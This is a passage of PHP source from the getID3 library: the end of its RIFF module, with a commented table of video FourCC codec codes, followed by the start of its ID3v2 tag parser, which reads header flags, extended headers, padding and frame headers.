			DXT3	Microsoft DirectX Compressed Texture (DXT3)
			DXT4	Microsoft DirectX Compressed Texture (DXT4)
			DXT5	Microsoft DirectX Compressed Texture (DXT5)
			DXTC	Microsoft DirectX Compressed Texture (DXTC)
			DXTn	Microsoft DirectX Compressed Texture (DXTn)
			EM2V	Etymonix MPEG-2 I-frame (www.etymonix.com)
			EKQ0	Elsa ?EKQ0?
			ELK0	Elsa ?ELK0?
			ESCP	Eidos Escape
			ETV1	eTreppid Video ETV1
			ETV2	eTreppid Video ETV2
			ETVC	eTreppid Video ETVC
			FLIC	Autodesk FLI/FLC Animation
			FLV1	Sorenson Spark
			FLV4	On2 TrueMotion VP6
			FRWT	Darim Vision Forward Motion JPEG (www.darvision.com)
			FRWU	Darim Vision Forward Uncompressed (www.darvision.com)
			FLJP	D-Vision Field Encoded Motion JPEG
			FPS1	FRAPS v1
			FRWA	SoftLab-Nsk Forward Motion JPEG w/ alpha channel
			FRWD	SoftLab-Nsk Forward Motion JPEG
			FVF1	Iterated Systems Fractal Video Frame
			GLZW	Motion LZW (gabest@freemail.hu)
			GPEG	Motion JPEG (gabest@freemail.hu)
			GWLT	Microsoft Greyscale WLT DIB
			H260	Intel ITU H.260 Videoconferencing
			H261	Intel ITU H.261 Videoconferencing
			H262	Intel ITU H.262 Videoconferencing
			H263	Intel ITU H.263 Videoconferencing
			H264	Intel ITU H.264 Videoconferencing
			H265	Intel ITU H.265 Videoconferencing
			H266	Intel ITU H.266 Videoconferencing
			H267	Intel ITU H.267 Videoconferencing
			H268	Intel ITU H.268 Videoconferencing
			H269	Intel ITU H.269 Videoconferencing
			HFYU	Huffman Lossless Codec
			HMCR	Rendition Motion Compensation Format (HMCR)
			HMRR	Rendition Motion Compensation Format (HMRR)
			I263	FFmpeg I263 decoder
			IF09	Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane")
			IUYV	Interlaced version of UYVY (www.leadtools.com)
			IY41	Interlaced version of Y41P (www.leadtools.com)
			IYU1	12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYU2	24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYUV	Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes)
			i263	Intel ITU H.263 Videoconferencing (i263)
			I420	Intel Indeo 4
			IAN 	Intel Indeo 4 (RDX)
			ICLB	InSoft CellB Videoconferencing
			IGOR	Power DVD
			IJPG	Intergraph JPEG
			ILVC	Intel Layered Video
			ILVR	ITU-T H.263+
			IPDV	I-O Data Device Giga AVI DV Codec
			IR21	Intel Indeo 2.1
			IRAW	Intel YUV Uncompressed
			IV30	Intel Indeo 3.0
			IV31	Intel Indeo 3.1
			IV32	Ligos Indeo 3.2
			IV33	Ligos Indeo 3.3
			IV34	Ligos Indeo 3.4
			IV35	Ligos Indeo 3.5
			IV36	Ligos Indeo 3.6
			IV37	Ligos Indeo 3.7
			IV38	Ligos Indeo 3.8
			IV39	Ligos Indeo 3.9
			IV40	Ligos Indeo Interactive 4.0
			IV41	Ligos Indeo Interactive 4.1
			IV42	Ligos Indeo Interactive 4.2
			IV43	Ligos Indeo Interactive 4.3
			IV44	Ligos Indeo Interactive 4.4
			IV45	Ligos Indeo Interactive 4.5
			IV46	Ligos Indeo Interactive 4.6
			IV47	Ligos Indeo Interactive 4.7
			IV48	Ligos Indeo Interactive 4.8
			IV49	Ligos Indeo Interactive 4.9
			IV50	Ligos Indeo Interactive 5.0
			JBYR	Kensington ?JBYR?
			JPEG	Still Image JPEG DIB
			JPGL	Pegasus Lossless Motion JPEG
			KMVC	Team17 Software Karl Morton\'s Video Codec
			LSVM	Vianet Lighting Strike Vmail (Streaming) (www.vianet.com)
			LEAD	LEAD Video Codec
			Ljpg	LEAD MJPEG Codec
			MDVD	Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de)
			MJPA	Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com)
			MJPB	Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com)
			MMES	Matrox MPEG-2 I-frame
			MP2v	Microsoft S-Mpeg 4 version 1 (MP2v)
			MP42	Microsoft S-Mpeg 4 version 2 (MP42)
			MP43	Microsoft S-Mpeg 4 version 3 (MP43)
			MP4S	Microsoft S-Mpeg 4 version 3 (MP4S)
			MP4V	FFmpeg MPEG-4
			MPG1	FFmpeg MPEG 1/2
			MPG2	FFmpeg MPEG 1/2
			MPG3	FFmpeg DivX ;-) (MS MPEG-4 v3)
			MPG4	Microsoft MPEG-4
			MPGI	Sigma Designs MPEG
			MPNG	PNG images decoder
			MSS1	Microsoft Windows Screen Video
			MSZH	LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			M261	Microsoft H.261
			M263	Microsoft H.263
			M4S2	Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2)
			m4s2	Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2)
			MC12	ATI Motion Compensation Format (MC12)
			MCAM	ATI Motion Compensation Format (MCAM)
			MJ2C	Morgan Multimedia Motion JPEG2000
			mJPG	IBM Motion JPEG w/ Huffman Tables
			MJPG	Microsoft Motion JPEG DIB
			MP42	Microsoft MPEG-4 (low-motion)
			MP43	Microsoft MPEG-4 (fast-motion)
			MP4S	Microsoft MPEG-4 (MP4S)
			mp4s	Microsoft MPEG-4 (mp4s)
			MPEG	Chromatic Research MPEG-1 Video I-Frame
			MPG4	Microsoft MPEG-4 Video High Speed Compressor
			MPGI	Sigma Designs MPEG
			MRCA	FAST Multimedia Martin Regen Codec
			MRLE	Microsoft Run Length Encoding
			MSVC	Microsoft Video 1
			MTX1	Matrox ?MTX1?
			MTX2	Matrox ?MTX2?
			MTX3	Matrox ?MTX3?
			MTX4	Matrox ?MTX4?
			MTX5	Matrox ?MTX5?
			MTX6	Matrox ?MTX6?
			MTX7	Matrox ?MTX7?
			MTX8	Matrox ?MTX8?
			MTX9	Matrox ?MTX9?
			MV12	Motion Pixels Codec (old)
			MWV1	Aware Motion Wavelets
			nAVI	SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm)
			NT00	NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com)
			NUV1	NuppelVideo
			NTN1	Nogatech Video Compression 1
			NVS0	nVidia GeForce Texture (NVS0)
			NVS1	nVidia GeForce Texture (NVS1)
			NVS2	nVidia GeForce Texture (NVS2)
			NVS3	nVidia GeForce Texture (NVS3)
			NVS4	nVidia GeForce Texture (NVS4)
			NVS5	nVidia GeForce Texture (NVS5)
			NVT0	nVidia GeForce Texture (NVT0)
			NVT1	nVidia GeForce Texture (NVT1)
			NVT2	nVidia GeForce Texture (NVT2)
			NVT3	nVidia GeForce Texture (NVT3)
			NVT4	nVidia GeForce Texture (NVT4)
			NVT5	nVidia GeForce Texture (NVT5)
			PIXL	MiroXL, Pinnacle PCTV
			PDVC	I-O Data Device Digital Video Capture DV codec
			PGVV	Radius Video Vision
			PHMO	IBM Photomotion
			PIM1	MPEG Realtime (Pinnacle Cards)
			PIM2	Pegasus Imaging ?PIM2?
			PIMJ	Pegasus Imaging Lossless JPEG
			PVEZ	Horizons Technology PowerEZ
			PVMM	PacketVideo Corporation MPEG-4
			PVW2	Pegasus Imaging Wavelet Compression
			Q1.0	Q-Team\'s QPEG 1.0 (www.q-team.de)
			Q1.1	Q-Team\'s QPEG 1.1 (www.q-team.de)
			QPEG	Q-Team QPEG 1.0
			qpeq	Q-Team QPEG 1.1
			RGB 	Raw BGR32
			RGBA	Raw RGB w/ Alpha
			RMP4	REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com)
			ROQV	Id RoQ File Video Decoder
			RPZA	Quicktime Apple Video (RPZA)
			RUD0	Rududu video codec (http://rududu.ifrance.com/rududu/)
			RV10	RealVideo 1.0 (aka RealVideo 5.0)
			RV13	RealVideo 1.0 (RV13)
			RV20	RealVideo G2
			RV30	RealVideo 8
			RV40	RealVideo 9
			RGBT	Raw RGB w/ Transparency
			RLE 	Microsoft Run Length Encoder
			RLE4	Run Length Encoded (4bpp, 16-color)
			RLE8	Run Length Encoded (8bpp, 256-color)
			RT21	Intel Indeo RealTime Video 2.1
			rv20	RealVideo G2
			rv30	RealVideo 8
			RVX 	Intel RDX (RVX )
			SMC 	Apple Graphics (SMC )
			SP54	Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2
			SPIG	Radius Spigot
			SVQ3	Sorenson Video 3 (Apple Quicktime 5)
			s422	Tekram VideoCap C210 YUV 4:2:2
			SDCC	Sun Communication Digital Camera Codec
			SFMC	CrystalNet Surface Fitting Method
			SMSC	Radius SMSC
			SMSD	Radius SMSD
			smsv	WorldConnect Wavelet Video
			SPIG	Radius Spigot
			SPLC	Splash Studios ACM Audio Codec (www.splashstudios.net)
			SQZ2	Microsoft VXTreme Video Codec V2
			STVA	ST Microelectronics CMOS Imager Data (Bayer)
			STVB	ST Microelectronics CMOS Imager Data (Nudged Bayer)
			STVC	ST Microelectronics CMOS Imager Data (Bunched)
			STVX	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format)
			STVY	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data)
			SV10	Sorenson Video R1
			SVQ1	Sorenson Video
			T420	Toshiba YUV 4:2:0
			TM2A	Duck TrueMotion Archiver 2.0 (www.duck.com)
			TVJP	Pinnacle/Truevision Targa 2000 board (TVJP)
			TVMJ	Pinnacle/Truevision Targa 2000 board (TVMJ)
			TY0N	Tecomac Low-Bit Rate Codec (www.tecomac.com)
			TY2C	Trident Decompression Driver
			TLMS	TeraLogic Motion Intraframe Codec (TLMS)
			TLST	TeraLogic Motion Intraframe Codec (TLST)
			TM20	Duck TrueMotion 2.0
			TM2X	Duck TrueMotion 2X
			TMIC	TeraLogic Motion Intraframe Codec (TMIC)
			TMOT	Horizons Technology TrueMotion S
			tmot	Horizons TrueMotion Video Compression
			TR20	Duck TrueMotion RealTime 2.0
			TSCC	TechSmith Screen Capture Codec
			TV10	Tecomac Low-Bit Rate Codec
			TY2N	Trident ?TY2N?
			U263	UB Video H.263/H.263+/H.263++ Decoder
			UMP4	UB Video MPEG 4 (www.ubvideo.com)
			UYNV	Nvidia UYVY packed 4:2:2
			UYVP	Evans & Sutherland YCbCr 4:2:2 extended precision
			UCOD	eMajix.com ClearVideo
			ULTI	IBM Ultimotion
			UYVY	UYVY packed 4:2:2
			V261	Lucent VX2000S
			VIFP	VFAPI Reader Codec (www.yks.ne.jp/~hori/)
			VIV1	FFmpeg H263+ decoder
			VIV2	Vivo H.263
			VQC2	Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf)
			VTLP	Alaris VideoGramPiX
			VYU9	ATI YUV (VYU9)
			VYUY	ATI YUV (VYUY)
			V261	Lucent VX2000S
			V422	Vitec Multimedia 24-bit YUV 4:2:2 Format
			V655	Vitec Multimedia 16-bit YUV 4:2:2 Format
			VCR1	ATI Video Codec 1
			VCR2	ATI Video Codec 2
			VCR3	ATI VCR 3.0
			VCR4	ATI VCR 4.0
			VCR5	ATI VCR 5.0
			VCR6	ATI VCR 6.0
			VCR7	ATI VCR 7.0
			VCR8	ATI VCR 8.0
			VCR9	ATI VCR 9.0
			VDCT	Vitec Multimedia Video Maker Pro DIB
			VDOM	VDOnet VDOWave
			VDOW	VDOnet VDOLive (H.263)
			VDTZ	Darim Vison VideoTizer YUV
			VGPX	Alaris VideoGramPiX
			VIDS	Vitec Multimedia YUV 4:2:2 CCIR 601 for V422
			VIVO	Vivo H.263 v2.00
			vivo	Vivo H.263
			VIXL	Miro/Pinnacle Video XL
			VLV1	VideoLogic/PURE Digital Videologic Capture
			VP30	On2 VP3.0
			VP31	On2 VP3.1
			VP6F	On2 TrueMotion VP6
			VX1K	Lucent VX1000S Video Codec
			VX2K	Lucent VX2000S Video Codec
			VXSP	Lucent VX1000SP Video Codec
			WBVC	Winbond W9960
			WHAM	Microsoft Video 1 (WHAM)
			WINX	Winnov Software Compression
			WJPG	AverMedia Winbond JPEG
			WMV1	Windows Media Video V7
			WMV2	Windows Media Video V8
			WMV3	Windows Media Video V9
			WNV1	Winnov Hardware Compression
			XYZP	Extended PAL format XYZ palette (www.riff.org)
			x263	Xirlink H.263
			XLV0	NetXL Video Decoder
			XMPG	Xing MPEG (I-Frame only)
			XVID	XviD MPEG-4 (www.xvid.org)
			XXAN	?XXAN?
			YU92	Intel YUV (YU92)
			YUNV	Nvidia Uncompressed YUV 4:2:2
			YUVP	Extended PAL format YUV palette (www.riff.org)
			Y211	YUV 2:1:1 Packed
			Y411	YUV 4:1:1 Packed
			Y41B	Weitek YUV 4:1:1 Planar
			Y41P	Brooktree PC1 YUV 4:1:1 Packed
			Y41T	Brooktree PC1 YUV 4:1:1 with transparency
			Y42B	Weitek YUV 4:2:2 Planar
			Y42T	Brooktree UYUV 4:2:2 with transparency
			Y422	ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera
			Y800	Simple, single Y plane for monochrome images
			Y8  	Grayscale video
			YC12	Intel YUV 12 codec
			YUV8	Winnov Caviar YUV8
			YUV9	Intel YUV9
			YUY2	Uncompressed YUV 4:2:2
			YUYV	Canopus YUV
			YV12	YVU12 Planar
			YVU9	Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes)
			YVYU	YVYU 4:2:2 Packed
			ZLIB	Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			ZPEG	Metheus Video Zipper

		*/

		return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc');
	}

	/**
	 * @param string $byteword
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 */
	private function EitherEndian2Int($byteword, $signed=false) {
		if ($this->container == 'riff') {
			return getid3_lib::LittleEndian2Int($byteword, $signed);
		}
		return getid3_lib::BigEndian2Int($byteword, false, $signed);
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.id3v2.php                                        //
// module for analyzing ID3v2 tags                             //
// dependencies: module.tag.id3v1.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true);

class getid3_id3v2 extends getid3_handler
{
	public $StartingOffset = 0;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		//    Overall tag structure:
		//        +-----------------------------+
		//        |      Header (10 bytes)      |
		//        +-----------------------------+
		//        |       Extended Header       |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        |   Frames (variable length)  |
		//        +-----------------------------+
		//        |           Padding           |
		//        | (variable length, OPTIONAL) |
		//        +-----------------------------+
		//        | Footer (10 bytes, OPTIONAL) |
		//        +-----------------------------+

		//    Header
		//        ID3v2/file identifier      "ID3"
		//        ID3v2 version              $04 00
		//        ID3v2 flags                (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x)
		//        ID3v2 size             4 * %0xxxxxxx


		// shortcuts
		$info['id3v2']['header'] = true;
		$thisfile_id3v2                  = &$info['id3v2'];
		$thisfile_id3v2['flags']         =  array();
		$thisfile_id3v2_flags            = &$thisfile_id3v2['flags'];


		$this->fseek($this->StartingOffset);
		$header = $this->fread(10);
		if (substr($header, 0, 3) == 'ID3'  &&  strlen($header) == 10) {

			$thisfile_id3v2['majorversion'] = ord($header[3]);
			$thisfile_id3v2['minorversion'] = ord($header[4]);

			// shortcut
			$id3v2_majorversion = &$thisfile_id3v2['majorversion'];

		} else {

			unset($info['id3v2']);
			return false;

		}

		if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists)

			$this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']);
			return false;

		}

		$id3_flags = ord($header[5]);
		switch ($id3v2_majorversion) {
			case 2:
				// %ab000000 in v2.2
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression
				break;

			case 3:
				// %abc00000 in v2.3
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				break;

			case 4:
				// %abcd0000 in v2.4
				$thisfile_id3v2_flags['unsynch']     = (bool) ($id3_flags & 0x80); // a - Unsynchronisation
				$thisfile_id3v2_flags['exthead']     = (bool) ($id3_flags & 0x40); // b - Extended header
				$thisfile_id3v2_flags['experim']     = (bool) ($id3_flags & 0x20); // c - Experimental indicator
				$thisfile_id3v2_flags['isfooter']    = (bool) ($id3_flags & 0x10); // d - Footer present
				break;
		}

		$thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length

		$thisfile_id3v2['tag_offset_start'] = $this->StartingOffset;
		$thisfile_id3v2['tag_offset_end']   = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength'];



		// create 'encoding' key - used by getid3::HandleAllTags()
		// in ID3v2 every field can have it's own encoding type
		// so force everything to UTF-8 so it can be handled consistantly
		$thisfile_id3v2['encoding'] = 'UTF-8';


	//    Frames

	//        All ID3v2 frames consists of one frame header followed by one or more
	//        fields containing the actual information. The header is always 10
	//        bytes and laid out as follows:
	//
	//        Frame ID      $xx xx xx xx  (four characters)
	//        Size      4 * %0xxxxxxx
	//        Flags         $xx xx

		$sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header
		if (!empty($thisfile_id3v2['exthead']['length'])) {
			$sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4);
		}
		if (!empty($thisfile_id3v2_flags['isfooter'])) {
			$sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio
		}
		if ($sizeofframes > 0) {

			$framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable

			//    if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x)
			if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) {
				$framedata = $this->DeUnsynchronise($framedata);
			}
			//        [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead
			//        of on tag level, making it easier to skip frames, increasing the streamability
			//        of the tag. The unsynchronisation flag in the header [S:3.1] indicates that
			//        there exists an unsynchronised frame, while the new unsynchronisation flag in
			//        the frame header [S:4.1.2] indicates unsynchronisation.


			//$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present)
			$framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header


			//    Extended Header
			if (!empty($thisfile_id3v2_flags['exthead'])) {
				$extended_header_offset = 0;

				if ($id3v2_majorversion == 3) {

					// v2.3 definition:
					//Extended header size  $xx xx xx xx   // 32-bit integer
					//Extended Flags        $xx xx
					//     %x0000000 %00000000 // v2.3
					//     x - CRC data present
					//Size of padding       $xx xx xx xx

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0);
					$extended_header_offset += 4;

					$thisfile_id3v2['exthead']['flag_bytes'] = 2;
					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000);

					$thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
					$extended_header_offset += 4;

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4));
						$extended_header_offset += 4;
					}
					$extended_header_offset += $thisfile_id3v2['exthead']['padding_size'];

				} elseif ($id3v2_majorversion == 4) {

					// v2.4 definition:
					//Extended header size   4 * %0xxxxxxx // 28-bit synchsafe integer
					//Number of flag bytes       $01
					//Extended Flags             $xx
					//     %0bcd0000 // v2.4
					//     b - Tag is an update
					//         Flag data length       $00
					//     c - CRC data present
					//         Flag data length       $05
					//         Total frame CRC    5 * %0xxxxxxx
					//     d - Tag restrictions
					//         Flag data length       $01

					$thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true);
					$extended_header_offset += 4;

					$thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1
					$extended_header_offset += 1;

					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['update']       = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40);
					$thisfile_id3v2['exthead']['flags']['crc']          = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20);
					$thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10);

					if ($thisfile_id3v2['exthead']['flags']['update']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0
						$extended_header_offset += 1;
					}

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false);
						$extended_header_offset += $ext_header_chunk_length;
					}

					if ($thisfile_id3v2['exthead']['flags']['restrictions']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1
						$extended_header_offset += 1;

						// %ppqrrstt
						$restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1));
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']  = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textenc']  = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']   = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']  = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions

						$thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize']  = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc']  = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc']   = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize']  = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']);
					}

					if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) {
						$this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')');
					}
				}

				$framedataoffset += $extended_header_offset;
				$framedata = substr($framedata, $extended_header_offset);
			} // end extended header


			while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse
				if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) {
					// insufficient room left in ID3v2 header for actual data - must be padding
					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;
					for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) {
						if ($framedata[$i] != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}
				$frame_header = null;
				$frame_name   = null;
				$frame_size   = null;
				$frame_flags  = null;
				if ($id3v2_majorversion == 2) {
					// Frame ID  $xx xx xx (three characters)
					// Size      $xx xx xx (24-bit integer)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 6); // take next 6 bytes for header
					$framedata    = substr($framedata, 6);    // and leave the rest in $framedata
					$frame_name   = substr($frame_header, 0, 3);
					$frame_size   = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0);
					$frame_flags  = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs

				} elseif ($id3v2_majorversion > 2) {

					// Frame ID  $xx xx xx xx (four characters)
					// Size      $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 10); // take next 10 bytes for header
					$framedata    = substr($framedata, 10);    // and leave the rest in $framedata

					$frame_name = substr($frame_header, 0, 4);
					if ($id3v2_majorversion == 3) {
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
					} else { // ID3v2.4+
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value)
					}

					if ($frame_size < (strlen($framedata) + 4)) {
						$nextFrameID = substr($framedata, $frame_size, 4);
						if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) {
							// next frame is OK
						} elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) {
							// MP3ext known broken frames - "ok" for the purposes of this test
						} elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) {
							$this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3');
							$id3v2_majorversion = 3;
							$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
						}
					}


					$frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2));
				}

				if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) {
					// padding encountered

					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;

					$len = strlen($framedata);
					for ($i = 0; $i < $len; $i++) {
						if ($framedata[$i] != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}

				if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) {
					$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.');
					$frame_name = $iTunesBrokenFrameNameFixed;
				}
				if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) {

					$parsedFrame                    = array();
					$parsedFrame['frame_name']      = $frame_name;
					$parsedFrame['frame_flags_raw'] = $frame_flags;
					$parsedFrame['data']            = substr($framedata, 0, $frame_size);
